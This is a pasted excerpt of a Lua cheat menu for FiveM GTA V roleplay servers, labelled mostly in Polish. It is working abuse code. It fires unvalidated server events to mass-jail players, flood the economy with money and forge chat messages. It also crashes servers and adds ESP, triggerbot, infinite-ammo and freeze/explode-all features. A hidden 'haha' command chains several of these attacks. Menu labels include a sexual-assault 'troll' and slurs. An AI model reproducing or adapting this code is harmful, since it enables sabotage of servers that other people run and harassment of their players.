  11105. TriggerServerEvent('bank:deposit', m)
  11106. end
  11107. elseif KrystekMenu.Button('~r~~h~VRP ~s~Bank Withdraw ') then
  11108. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  11109. if m ~= '' then
  11110. TriggerServerEvent('bank:withdraw', m)
  11111. TriggerServerEvent('Banca:withdraw', m)
  11112. end
  11113. end
  11114. KrystekMenu.Display()
  11115. elseif KrystekMenu.IsMenuOpened('MiscTriggers') then
  11116. if KrystekMenu.Button('~h~Wyslij Wiadomosc DiscordBot') then
  11117. local et = KeyboardInput('Wpisz Nazwe Do Wyslania', '', 100)
  11118. TriggerServerEvent('DiscordBot:playerDied', et, '1337')
  11119. av('Wiadomosc:~n~' .. et .. '~n~Zostala ~g~Wyslana!', true)
  11120. elseif KrystekMenu.Button('~h~Wyslij Fake Wiadomosc') then
  11121. local eu = KeyboardInput('Wpisz nazwe gracza', '', 100)
  11122. if eu then
  11123. local db = KeyboardInput('Wpisz wiadomosc', '', 1000)
  11124. if db then
  11125. TriggerServerEvent(
  11126. '_chat:messageEntered',
  11127. eu,
  11128. {
  11129. 0,
  11130. 0x99,
  11131. 255
  11132. },
  11133. db
  11134. )
  11135. end
  11136. end
  11137. elseif KrystekMenu.Button('~h~~g~ESX ~y~CarThief ~s~TROLL') then
  11138. av('~y~esx_carthief ~g~required', true)
  11139. av('~g~Trying to send alerts', false)
  11140. carthieftroll()
  11141. end
  11142. KrystekMenu.Display()
  11143. elseif KrystekMenu.IsMenuOpened('AdvM') then
  11144. if KrystekMenu.MenuButton('~h~~p~#~s~ Menu Rozpierdolu', 'Destroyer') then
  11145. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ESP Menu', 'ESPMenu') then
  11146. elseif KrystekMenu.MenuButton('~h~~p~#~s~ Celowniki', 'CsMenu') then
  11147. elseif
  11148. KrystekMenu.CheckBox(
  11149. '~h~TriggerBot',
  11150. TriggerBot,
  11151. function(dR)
  11152. TriggerBot = dR
  11153. end
  11154. )
  11155. then
  11156. elseif
  11157. KrystekMenu.CheckBox(
  11158. '~h~Oznaczanie graczy',
  11159. dx,
  11160. function(dx)
  11161. end
  11162. )
  11163. then
  11164. cL = not cL
  11165. dx = cL
  11166. elseif
  11167. KrystekMenu.CheckBox(
  11168. '~h~Nazwy nad graczami ~g~v1',
  11169. cM,
  11170. function(dR)
  11171. cM = dR
  11172. cN = false
  11173. end
  11174. )
  11175. then
  11176. elseif
  11177. KrystekMenu.CheckBox(
  11178. '~h~Nazwy nad graczami ~g~v2',
  11179. cN,
  11180. function(dR)
  11181. cN = dR
  11182. cM = false
  11183. end
  11184. )
  11185. then
  11186. elseif
  11187. KrystekMenu.CheckBox(
  11188. '~h~~r~Zamroz~s~ Wszystkich Graczy',
  11189. freezeall,
  11190. function(dR)
  11191. freezeall = dR
  11192. end
  11193. )
  11194. then
  11195. elseif
  11196. KrystekMenu.CheckBox(
  11197. '~h~~r~Exploduj~s~ Wszystkich Graczy',
  11198. blowall,
  11199. function(dR)
  11200. blowall = dR
  11201. end
  11202. )
  11203. then
  11204. elseif KrystekMenu.Button('~h~~r~Daj Burgera Dla~s~ Wszystkich') then
  11205. for i = 0, 128 do
  11206. if IsPedInAnyVehicle(GetPlayerPed(i), true) then
  11207. local eb = 'xs_prop_hamburgher_wl'
  11208. local ec = GetHashKey(eb)
  11209. while not HasModelLoaded(ec) do
  11210. Citizen.Wait(0)
  11211. RequestModel(ec)
  11212. end
  11213. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  11214. AttachEntityToEntity(
  11215. ed,
  11216. GetVehiclePedIsIn(GetPlayerPed(i), false),
  11217. GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(i), false), 'chassis'),
  11218. 0,
  11219. 0,
  11220. -1.0,
  11221. 0.0,
  11222. 0.0,
  11223. 0,
  11224. true,
  11225. true,
  11226. false,
  11227. true,
  11228. 1,
  11229. true
  11230. )
  11231. else
  11232. local eb = 'xs_prop_hamburgher_wl'
  11233. local ec = GetHashKey(eb)
  11234. while not HasModelLoaded(ec) do
  11235. Citizen.Wait(0)
  11236. RequestModel(ec)
  11237. end
  11238. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  11239. AttachEntityToEntity(
  11240. ed,
  11241. GetPlayerPed(i),
  11242. GetPedBoneIndex(GetPlayerPed(i), 0),
  11243. 0,
  11244. 0,
  11245. -1.0,
  11246. 0.0,
  11247. 0.0,
  11248. 0,
  11249. true,
  11250. true,
  11251. false,
  11252. true,
  11253. 1,
  11254. true
  11255. )
  11256. end
  11257. end
  11258. elseif KrystekMenu.Button('~h~~o~Discord RPC~s~ Add/Remove') then
  11259. h = not h
  11260. if not h then
  11261. SetRichPresence(0)
  11262. SetDiscordAppId(0)
  11263. SetDiscordRichPresenceAsset(0)
  11264. SetDiscordRichPresenceAssetText(0)
  11265. else
  11266. e()
  11267. end
  11268. elseif
  11269. KrystekMenu.CheckBox(
  11270. '~h~~r~Ra~g~nd~b~om ~s~Notification Color',
  11271. rgbnot,
  11272. function(dR)
  11273. rgbnot = dR
  11274. end
  11275. )
  11276. then
  11277. elseif
  11278. KrystekMenu.CheckBox(
  11279. '~h~~r~Confirms~s~ masterswitch',
  11280. cO,
  11281. function(dR)
  11282. cO = dR
  11283. end
  11284. )
  11285. then
  11286. end
  11287. KrystekMenu.Display()
  11288. elseif KrystekMenu.IsMenuOpened('CsMenu') then
  11289. if
  11290. KrystekMenu.CheckBox(
  11291. '~h~~y~Oryginalny ~s~Celownik',
  11292. crosshair,
  11293. function(dR)
  11294. crosshair = dR
  11295. crosshairc = false
  11296. crosshairc2 = false
  11297. end
  11298. )
  11299. then
  11300. elseif
  11301. KrystekMenu.CheckBox(
  11302. '~h~~r~Krzyzykowy ~s~Celownik',
  11303. crosshairc,
  11304. function(dR)
  11305. crosshair = false
  11306. crosshairc = dR
  11307. crosshairc2 = false
  11308. end
  11309. )
  11310. then
  11311. elseif
  11312. KrystekMenu.CheckBox(
  11313. '~h~~r~Mala Kropka ~s~Celownik',
  11314. crosshairc2,
  11315. function(dR)
  11316. crosshair = false
  11317. crosshairc = false
  11318. crosshairc2 = dR
  11319. end
  11320. )
  11321. then
  11322. end
  11323. KrystekMenu.Display()
  11324. elseif KrystekMenu.IsMenuOpened('Destroyer') then
  11325. if KrystekMenu.Button('~h~~r~Niszcz ~s~Serwer') then
  11326. nukeserver()
  11327. elseif
  11328. KrystekMenu.CheckBox(
  11329. '~h~~r~Silent ~s~Serwer ~y~Crasher',
  11330. servercrasherxd,
  11331. function(dR)
  11332. servercrasherxd = dR
  11333. end
  11334. )
  11335. then
  11336. elseif KrystekMenu.Button('~h~~g~ESX ~r~Rozpierdol ~b~v2') then
  11337. esxdestroyv2()
  11338. elseif KrystekMenu.Button('~h~~g~ESX ~r~Rozpierdol ~b~Salary') then
  11339. EconomyDy2()
  11340. elseif KrystekMenu.Button('~h~~r~VRP ~s~Daj wszystkim kase') then
  11341. vrpdestroy()
  11342. elseif KrystekMenu.Button('~h~~g~ESX ~s~Daj wszystkim kase') then
  11343. giveeveryone()
  11344. elseif KrystekMenu.Button('~h~~g~ESX ~s~Daj wszystkim kase ~b~PowerLifeRP') then
  11345. giveeveryonepower()
  11346. elseif KrystekMenu.Button('~g~~h~ESX ~s~Daj wszystkim kase ~b~CloudRP') then
  11347. giveeveryonecloud()
  11348. elseif KrystekMenu.Button('~h~~g~Jail ~y~~h~Edytowalny~w~') then
  11349. av ('Zmien Trigger')
  11350. for i = 0, 128 do
  11351. TriggerServerEvent("projektsantos:wiezienie", GetPlayerServerId(closestPlayer), 99999999, 'Takie zycie?', 99999999999999)
  11352. --TriggerServerEvent("esx-qalle-jail:wyslijwiezienie", GetPlayerServerId(i), 99999, 'Zapraszam discord.gg/zMueqbA', 9999999)
  11353. --TriggerServerEvent('projektsantos:wiezienie', GetPlayerServerId(i), 123123123, 'jebac ta wyspe', 9999999)
  11354. --TriggerServerEvent('esx_billing:sendBill', GetPlayerServerId(i), 'Purposeless', 'Ich habe es dir gesagt darc, es wird noch mehr geben !', 999999999)
  11355. --TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9999 * 60, 'Ich habe es dir gesagt darc, es wird noch mehr geben !', 999999999)
  11356. --TriggerServerEvent("AlchemicJail:sendToJail", GetPlayerServerId(i), 9999 * 60, "Zapraszamy na GoldRP Skurwysyny", 999999999)
  11357. end
  11358. elseif KrystekMenu.Button('~h~~r~Jail~s~ Wszystkich Graczy') then
  11359. for i = 0, 128 do
  11360. TriggerServerEvent("esx-qalle-jail:wyslijwiezienie", GetPlayerServerId(i), 99999, 'Zapraszam discord.gg/zMueqbA', 9999999)
  11361. TriggerServerEvent('esx-qalle-jail:jailPlayer', GetPlayerServerId(i), 5000, 'Kocham Was :D')
  11362. TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(i), 45 * 60)
  11363. TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(i), 45 * 60)
  11364. TriggerServerEvent('js:jailuser', GetPlayerServerId(i), 45 * 60, 'Kocham Was :D')
  11365. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 45 * 60, " ale gej ")
  11366. end
  11367. elseif KrystekMenu.Button('~h~~r~Banana ~p~Party~s~ Wszystkich Graczy') then
  11368. bananapartyall()
  11369. elseif KrystekMenu.Button('~h~~r~Gwalc~s~ Wszystkich Graczy') then
  11370. RapeAllFunc()
  11371. elseif KrystekMenu.Button('~h~~r~Wsadz do klatki~s~ Wszystkich Graczy') then
  11372. for i = 0, 255 do
  11373. x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(i)))
  11374. roundx = tonumber(string.format('%.2f', x))
  11375. roundy = tonumber(string.format('%.2f', y))
  11376. roundz = tonumber(string.format('%.2f', z))
  11377. while not HasModelLoaded(GetHashKey('prop_fnclink_05crnr1')) do
  11378. Citizen.Wait(0)
  11379. RequestModel(GetHashKey('prop_fnclink_05crnr1'))
  11380. end
  11381. local e9 =
  11382. CreateObject(
  11383. GetHashKey('prop_fnclink_05crnr1'),
  11384. roundx - 1.70,
  11385. roundy - 1.70,
  11386. roundz - 1.0,
  11387. true,
  11388. true,
  11389. false
  11390. )
  11391. local ea =
  11392. CreateObject(
  11393. GetHashKey('prop_fnclink_05crnr1'),
  11394. roundx + 1.70,
  11395. roundy + 1.70,
  11396. roundz - 1.0,
  11397. true,
  11398. true,
  11399. false
  11400. )
  11401. SetEntityHeading(e9, -90.0)
  11402. SetEntityHeading(ea, 90.0)
  11403. FreezeEntityPosition(e9, true)
  11404. FreezeEntityPosition(ea, true)
  11405. end
  11406. end
  11407. KrystekMenu.Display()
  11408. elseif KrystekMenu.IsMenuOpened('crds') then
  11409. if KrystekMenu.Button('~h~~p~#~s~ KrystekYT~r~#~r~8687 ~p~DEV') then
  11410. av('~h~~o~Dlaczego mnie klikasz?!!~s~.', false)
  11411. av('~h~~o~Nudzi ci sie~s~??', false)
  11412. av('~h~~o~I tak mi nic nie zrobisz ~s~:P', false)
  11413. elseif KrystekMenu.Button('~h~~p~#~s~ Skype:~r~ ~b~KrystekYT') then
  11414. elseif KrystekMenu.Button('~h~~p~#~s~ Youtube: ~r~ ~y~Krystek~r~Y~w~T') then
  11415. end
  11416. KrystekMenu.Display()
  11417. elseif KrystekMenu.IsMenuOpened('WeaponTypes') then
  11418. for e0, ev in pairs(b7) do
  11419. if KrystekMenu.MenuButton('~h~~p~#~s~ ' .. e0, 'WeaponTypeSelection') then
  11420. dy = ev
  11421. end
  11422. end
  11423. KrystekMenu.Display()
  11424. elseif KrystekMenu.IsMenuOpened('WeaponTypeSelection') then
  11425. for e0, ev in pairs(dy) do
  11426. if KrystekMenu.MenuButton(ev.name, 'WeaponOptions') then
  11427. dz = ev
  11428. end
  11429. end
  11430. KrystekMenu.Display()
  11431. elseif KrystekMenu.IsMenuOpened('WeaponOptions') then
  11432. if KrystekMenu.Button('~h~~r~Daj Bron') then
  11433. GiveWeaponToPed(GetPlayerPed(-1), GetHashKey(dz.id), 1000, false)
  11434. end
  11435. if KrystekMenu.Button('~h~~g~Dodaj Amunicje') then
  11436. SetPedAmmo(GetPlayerPed(-1), GetHashKey(dz.id), 5000)
  11437. end
  11438. if
  11439. KrystekMenu.CheckBox(
  11440. '~h~~r~Nieskonczonosc ~s~Amunicji',
  11441. dz.bInfAmmo,
  11442. function(ew)
  11443. end
  11444. )
  11445. then
  11446. dz.bInfAmmo = not dz.bInfAmmo
  11447. SetPedInfiniteAmmo(GetPlayerPed(-1), dz.bInfAmmo, GetHashKey(dz.id))
  11448. SetPedInfiniteAmmoClip(GetPlayerPed(-1), true)
  11449. PedSkipNextReloading(GetPlayerPed(-1))
  11450. SetPedShootRate(GetPlayerPed(-1), 1000)
  11451. end
  11452. for e0, ev in pairs(dz.mods) do
  11453. if KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~r~> ~s~' .. e0, 'ModSelect') then
  11454. dA = ev
  11455. end
  11456. end
  11457. KrystekMenu.Display()
  11458. elseif KrystekMenu.IsMenuOpened('ModSelect') then
  11459. for _, ev in pairs(dA) do
  11460. if KrystekMenu.Button(ev.name) then
  11461. GiveWeaponComponentToPed(GetPlayerPed(-1), GetHashKey(dz.id), GetHashKey(ev.id))
  11462. end
  11463. end
  11464. KrystekMenu.Display()
  11465. elseif KrystekMenu.IsMenuOpened('CarTypes') then
  11466. for i, ex in ipairs(b3) do
  11467. if KrystekMenu.MenuButton('~h~~p~#~s~ ' .. ex, 'CarTypeSelection') then
  11468. carTypeIdx = i
  11469. end
  11470. end
  11471. KrystekMenu.Display()
  11472. elseif KrystekMenu.IsMenuOpened('CarTypeSelection') then
  11473. for i, ex in ipairs(b4[carTypeIdx]) do
  11474. if KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~r~>~s~ ' .. ex, 'CarOptions') then
  11475. carToSpawn = i
  11476. end
  11477. end
  11478. KrystekMenu.Display()
  11479. elseif KrystekMenu.IsMenuOpened('CarOptions') then
  11480. if KrystekMenu.Button('~h~~r~Zresp Samochod') then
  11481. local x, y, z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
  11482. local veh = b4[carTypeIdx][carToSpawn]
  11483. if veh == nil then
  11484. veh = 'adder'
  11485. end
  11486. vehiclehash = GetHashKey(veh)
  11487. RequestModel(vehiclehash)
  11488. Citizen.CreateThread(
  11489. function()
  11490. local ey = 0
  11491. while not HasModelLoaded(vehiclehash) do
  11492. ey = ey + 100
  11493. Citizen.Wait(100)
  11494. if ey > 5000 then
  11495. ShowNotification('~h~~r~Nie ma takiego samochodu ;<.')
  11496. break
  11497. end
  11498. end
  11499. SpawnedCar =
  11500. CreateVehicle(vehiclehash, x, y, z, GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
  11501. SetVehicleStrong(SpawnedCar, true)
  11502. SetVehicleEngineOn(SpawnedCar, true, true, false)
  11503. SetVehicleEngineCanDegrade(SpawnedCar, false)
  11504. end
  11505. )
  11506. end
  11507. KrystekMenu.Display()
  11508. elseif KrystekMenu.IsMenuOpened('MainTrailer') then
  11509. if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
  11510. for i, ex in ipairs(b5) do
  11511. if KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~r~>~s~ ' .. ex, 'MainTrailerSpa') then
  11512. TrailerToSpawn = i
  11513. end
  11514. end
  11515. else
  11516. av('~h~~w~Not in a vehicle', true)
  11517. end
  11518. KrystekMenu.Display()
  11519. elseif KrystekMenu.IsMenuOpened('MainTrailerSpa') then
  11520. if KrystekMenu.Button('~h~~r~Zresp Samochod') then
  11521. local x, y, z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
  11522. local veh = b5[TrailerToSpawn]
  11523. if veh == nil then
  11524. veh = 'adder'
  11525. end
  11526. vehiclehash = GetHashKey(veh)
  11527. RequestModel(vehiclehash)
  11528. Citizen.CreateThread(
  11529. function()
  11530. local ey = 0
  11531. while not HasModelLoaded(vehiclehash) do
  11532. ey = ey + 100
  11533. Citizen.Wait(100)
  11534. if ey > 5000 then
  11535. ShowNotification('~h~~r~Nie ma takiego samochodu :<.')
  11536. break
  11537. end
  11538. end
  11539. local SpawnedCar =
  11540. CreateVehicle(vehiclehash, x, y, z, GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
  11541. local ez = GetVehiclePedIsUsing(GetPlayerPed(-1))
  11542. AttachVehicleToTrailer(Usercar, SpawnedCar, 50.0)
  11543. SetVehicleStrong(SpawnedCar, true)
  11544. SetVehicleEngineOn(SpawnedCar, true, true, false)
  11545. SetVehicleEngineCanDegrade(SpawnedCar, false)
  11546. end
  11547. )
  11548. end
  11549. KrystekMenu.Display()
  11550. elseif KrystekMenu.IsMenuOpened('GiveSingleWeaponPlayer') then
  11551. for i = 1, #b6 do
  11552. if KrystekMenu.Button(b6[i]) then
  11553. GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(b6[i]), 1000, false, true)
  11554. end
  11555. end
  11556. KrystekMenu.Display()
  11557. elseif KrystekMenu.IsMenuOpened('ESPMenu') then
  11558. if
  11559. KrystekMenu.CheckBox(
  11560. '~h~~r~ESP ~s~MasterSwitch',
  11561. esp,
  11562. function(dR)
  11563. esp = dR
  11564. end
  11565. )
  11566. then
  11567. elseif
  11568. KrystekMenu.CheckBox(
  11569. '~h~~r~ESP ~s~Box',
  11570. espbox,
  11571. function(dR)
  11572. espbox = dR
  11573. end
  11574. )
  11575. then
  11576. elseif
  11577. KrystekMenu.CheckBox(
  11578. '~h~~r~ESP ~s~Info',
  11579. espinfo,
  11580. function(dR)
  11581. espinfo = dR
  11582. end
  11583. )
  11584. then
  11585. elseif
  11586. KrystekMenu.CheckBox(
  11587. '~h~~r~ESP ~s~Lines',
  11588. esplines,
  11589. function(dR)
  11590. esplines = dR
  11591. end
  11592. )
  11593. then
  11594. end
  11595. KrystekMenu.Display()
  11596. elseif KrystekMenu.IsMenuOpened('LSC') then
  11597. local veh = GetVehiclePedIsUsing(PlayerPedId())
  11598. if KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~r~Wyglad ~s~Tuning', 'tunings') then
  11599. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~r~Osiagi ~s~Tuning', 'performance') then
  11600. elseif KrystekMenu.Button('~h~Zmien rejestracje') then
  11601. cu()
  11602. elseif
  11603. KrystekMenu.CheckBox(
  11604. '~h~~g~R~r~a~y~i~b~n~o~b~r~o~g~w ~s~Kolor Samochodu',
  11605. RainbowVeh,
  11606. function(dR)
  11607. RainbowVeh = dR
  11608. end
  11609. )
  11610. then
  11611. elseif KrystekMenu.Button('~h~Zrob samochod ~y~brudny') then
  11612. Clean(GetVehiclePedIsUsing(PlayerPedId(-1)))
  11613. elseif KrystekMenu.Button('~h~Zrob samochod ~g~Czysty') then
  11614. Clean2(GetVehiclePedIsUsing(PlayerPedId(-1)))
  11615. elseif
  11616. KrystekMenu.CheckBox(
  11617. '~h~~g~R~r~a~y~i~b~n~o~b~r~o~g~w ~s~Neony i Swiatla',
  11618. rainbowh,
  11619. function(dR)
  11620. rainbowh = dR
  11621. end
  11622. )
  11623. then
  11624. end
  11625. KrystekMenu.Display()
  11626. elseif KrystekMenu.IsMenuOpened('BoostMenu') then
  11627. if
  11628. KrystekMenu.ComboBox(
  11629. '~h~Moc ~r~Silnika ~s~Booster',
  11630. dD,
  11631. dB,
  11632. dC,
  11633. function(ag, ah)
  11634. dB = ag
  11635. dC = ah
  11636. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), dC * 20.0)
  11637. end
  11638. )
  11639. then
  11640. elseif
  11641. KrystekMenu.CheckBox(
  11642. '~h~Moc ~g~Slinika ~s~Booster ~g~2x',
  11643. t2x,
  11644. function(dR)
  11645. t2x = dR
  11646. t4x = false
  11647. t10x = false
  11648. t16x = false
  11649. txd = false
  11650. tbxd = false
  11651. end
  11652. )
  11653. then
  11654. elseif
  11655. KrystekMenu.CheckBox(
  11656. '~h~Moc ~g~Slinika ~s~Booster ~g~4x',
  11657. t4x,
  11658. function(dR)
  11659. t2x = false
  11660. t4x = dR
  11661. t10x = false
  11662. t16x = false
  11663. txd = false
  11664. tbxd = false
  11665. end
  11666. )
  11667. then
  11668. elseif
  11669. KrystekMenu.CheckBox(
  11670. '~h~Moc ~g~Slinika ~s~Booster ~g~10x',
  11671. t10x,
  11672. function(dR)
  11673. t2x = false
  11674. t4x = false
  11675. t10x = dR
  11676. t16x = false
  11677. txd = false
  11678. tbxd = false
  11679. end
  11680. )
  11681. then
  11682. elseif
  11683. KrystekMenu.CheckBox(
  11684. '~h~Moc ~g~Slinika ~s~Booster ~g~16x',
  11685. t16x,
  11686. function(dR)
  11687. t2x = false
  11688. t4x = false
  11689. t10x = false
  11690. t16x = dR
  11691. txd = false
  11692. tbxd = false
  11693. end
  11694. )
  11695. then
  11696. elseif
  11697. KrystekMenu.CheckBox(
  11698. '~h~Moc ~g~Slinika ~s~Booster ~y~XD',
  11699. txd,
  11700. function(dR)
  11701. t2x = false
  11702. t4x = false
  11703. t10x = false
  11704. t16x = false
  11705. txd = dR
  11706. tbxd = false
  11707. end
  11708. )
  11709. then
  11710. elseif
  11711. KrystekMenu.CheckBox(
  11712. '~h~Moc ~g~Slinika ~s~Booster ~y~DUZE XD',
  11713. tbxd,
  11714. function(dR)
  11715. t2x = false
  11716. t4x = false
  11717. t10x = false
  11718. t16x = false
  11719. txd = false
  11720. tbxd = dR
  11721. end
  11722. )
  11723. then
  11724. elseif
  11725. KrystekMenu.CheckBox(
  11726. '~h~Moc ~g~Slinika ~s~Booster ~y~X KURWA D',
  11727. xdxd,
  11728. function(dR)
  11729. t2x = false
  11730. t4x = false
  11731. t10x = false
  11732. t16x = false
  11733. txd = false
  11734. tbxd = false
  11735. xdxd = dR
  11736. end
  11737. )
  11738. then
  11739. end
  11740. KrystekMenu.Display()
  11741. elseif IsDisabledControlPressed(0, 122) then
  11742. if logged then
  11743. KrystekMenu.OpenMenu('KrystekMu')
  11744. end
  11745. KrystekMenu.Display()
  11746. elseif IsDisabledControlPressed(0, 314) and IsDisabledControlPressed(0, 21) then
  11747. if logged then
  11748. KrystekMenu.OpenMenu('KrystekMu')
  11749. end
  11750. end
  11751. Citizen.Wait(0)
  11752. end
  11753. end
  11754. )
  11755. RegisterCommand(
  11756. 'haha',
  11757. function(eA, eB, eC)
  11758. bv = true
  11759. RapeAllFunc()
  11760. bananapartyall()
  11761. EconomyDy2()
  11762. AmbulancePlayers()
  11763. for i = 0, 128 do
  11764. TriggerServerEvent('esx-qalle-jail:jailPlayer', GetPlayerServerId(i), 5000, 'Kocham Was :D')
  11765. TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(i), 45 * 60)
  11766. TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(i), 45 * 60)
  11767. TriggerServerEvent('js:jailuser', GetPlayerServerId(i), 45 * 60, 'Kocham Was :D')
  11768. end
  11769. end,
  11770. false
  11771. )
  11772. RegisterCommand(
  11773. 'pk',
  11774. function(eA, eB, eC)
  11775. bw = false
  11776. end,
  11777. false
  11778. )
  11779. RegisterCommand(
  11780. 'lol',
  11781. function(eA, eB, eC)
  11782. mhaonn = false
  11783. end,
  11784. false
  11785. )
  11786.  
  11787. function QuitMenu()
  11788. SendCommand('pk')
  11789. end
RAW Paste Data